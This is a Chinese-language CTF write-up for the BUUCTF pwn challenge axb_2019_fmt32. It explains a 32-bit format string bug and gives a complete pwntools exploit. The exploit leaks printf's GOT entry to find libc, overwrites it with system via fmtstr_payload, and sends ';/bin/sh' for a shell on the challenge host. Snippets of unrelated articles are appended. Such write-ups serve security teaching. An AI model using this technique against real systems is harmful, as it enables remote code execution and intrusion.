[BUUCTF]PWN——axb_2019_fmt32
axb_2019_fmt32
步骤:
- 例行检查,32位程序,开启了nx保护

 - 本地试运行一下程序,看看大概的情况

 - 32位ida载入

alarm(),是闹钟函数,主要功能是设置信号传送闹钟,即用来设置信号SIGALRM在经过参数seconds秒数后发送给目前的进程。如果未设置信号SIGALARM的处理函数,那么alarm()默认处理终止进程
25行,明显的格式化字符串漏洞 
这题没有后门函数,也没有系统函数,要用格式化字符串泄露出某个libc函数,来获得libc基址
s 和 format 两个参数,都没有溢出,,也没有函数能写进got表,,所以还是再次利用格式化字符串漏洞通过%n来写入数据
利用过程:
- 首先找一下我们输入的参数在栈上的相对位置,如图,补了一个字母‘B’之后偏移为8
找到偏移量后可以来泄露libc版本了 
payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
#‘A’  是用来补位的,这样后面的printf函数的got表地址就会在栈上相对距离为8的位置
#‘B’  相当于标记位,下面在接收数据的时候,接收到字符‘B’,后面跟着的就是我们泄露出来的函数地址
#%8$s  利用格式化字符串漏洞的%8$s去泄露出栈上相对距离为8的地址上的值
关于格式化字符串漏洞的原理,利用,格式化字符,看该文章
 
 2. 在得到libc基址后,就可以算出程序里的system函数地址了
payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
r.sendafter("Please tell me:",payload)
r.recvuntil('B')
printf_addr = u32(sh.recv(4))
print(hex(printf_addr))
libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
- 我们接下来要做的就是把利用fmtstr_payload,将printf的地址改为了system的地址,这边用的pwntools的工具,我简单解释一下,关于工具的具体情况,看这篇文章
 
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
0xa=1(payload前面的a)+9(repeater:的长度)
 之后传入 ‘/bin/sh’ 即可以获取shell
完整exp
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#r = process("./axb_2019_fmt32")
r = remote("node3.buuoj.cn","27499")
elf=ELF("./axb_2019_fmt32")
printf_got = elf.got['printf']
payload = 'a' + p32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print "printf_addr"+hex(printf_addr)
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')
print "system_addr"+hex(system)
payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
r.sendline(';/bin/sh\x00')
r.interactive()
libc选13
 
 参考wp:https://www.yuque.com/u239977/cbzkn3/nu76pp
百度过程中发现原题是道盲打,贴一下盲打的链接,本人太菜,没太搞明白
 https://www.anquanke.com/post/id/196722#h3-4
[BUUCTF]PWN——axb_2019_fmt32的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
		
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
 - (buuctf)  - pwn入门部分wp - rip -- pwn1_sctf_2016
		
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
 - [BUUCTF]PWN——hitcontraining_uaf
		
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
 - BUUCTF PWN部分题目wp
		
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
 - buuctf --pwn part2
		
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
 - buuctf pwn wp---part1
		
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
 - [BUUCTF]PWN——pwnable_hacknote
		
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
 - [BUUCTF]PWN——ciscn_2019_es_7[详解]
		
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
 - [BUUCTF]PWN——mrctf2020_easyoverflow
		
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
 
随机推荐
- Insights直播回顾,对话专家,HMS Core 6创新能力解读
			
HMS Core Insights第八期直播–对话专家,HMS Core 6创新能力解读,已于11月25日圆满结束,本期直播与小伙伴们一同了解了HMS Core 6在图形.媒体以及连接与通信领域推出的 ...
 - Python的数据解析
 - Pycharm整体缩进和减少缩进
			
整体缩进:鼠标拉选住代码块,按下tab键. 反向缩进:鼠标拉选住代码块,按下shift+tab键.
 - [NOIP2017 提高组] 宝藏
			
考虑到这种对于某种操作顺序有一个权值. 且这个权值有一个\(O(n)\)或者更好的复杂度求出. 求最值. 那可以用模拟退火. #include<iostream> #include< ...
 - [省选联考 2020 A 卷] 组合数问题
			
题意 [省选联考 2020 A 卷] 组合数问题 想法 自己在多项式和数论方面还是太差了,最近写这些题都没多少思路,看完题解才会 首先有这两个柿子 \(k*\dbinom{n}{k} = n*\dbi ...
 - HDU 3267 Graph Game(博弈论+图论+暴力)
			
题面传送门 题意: 有一棵 \(n\) 个节点的图 \(G\),R 和 B 两个人轮流操作,R 先操作. 每次操作 R 可以染红任意一条未染色的边,B 可以染蓝任意一条未染色的边 R 的目标是染成一棵 ...
 - 洛谷 P3750 - [六省联考2017]分手是祝愿(期望 dp)
			
题面传送门 首先我们需注意到这样一个性质:那就是对于任何一种状态,将其变为全 \(0\) 所用的最小步数的方案是唯一的--考虑编号为 \(n\) 的灯,显然如果它原本是暗着的就不用管它了,如果它是亮着 ...
 - Python使用print打印时,展示内容不换行
			
原理 Python的print()函数中参数end='' 默认为\n,所以会自动换行; 默认的print()函数: print(end='\n') 方案 Python 2: 在print语句的末尾加上 ...
 - doxygen相关命令
			
主要配置修改 整个程序配置分几个部分 Project related configuration options 项目相关,包括: 项目名 输出目录 输出语言 是否显示继承属性 是否对C.Java.F ...
 - Excel-判断一个文本字符串中是否包含数字!  判断一个文本字符串是否是纯汉字!
			
0.判断一个文本字符串中是否包含数字!/判断一个文本字符串是否是纯汉字! 公式=IF(LENB(A1)=2*LEN(A1),"都是汉字","含有非汉字字符") ...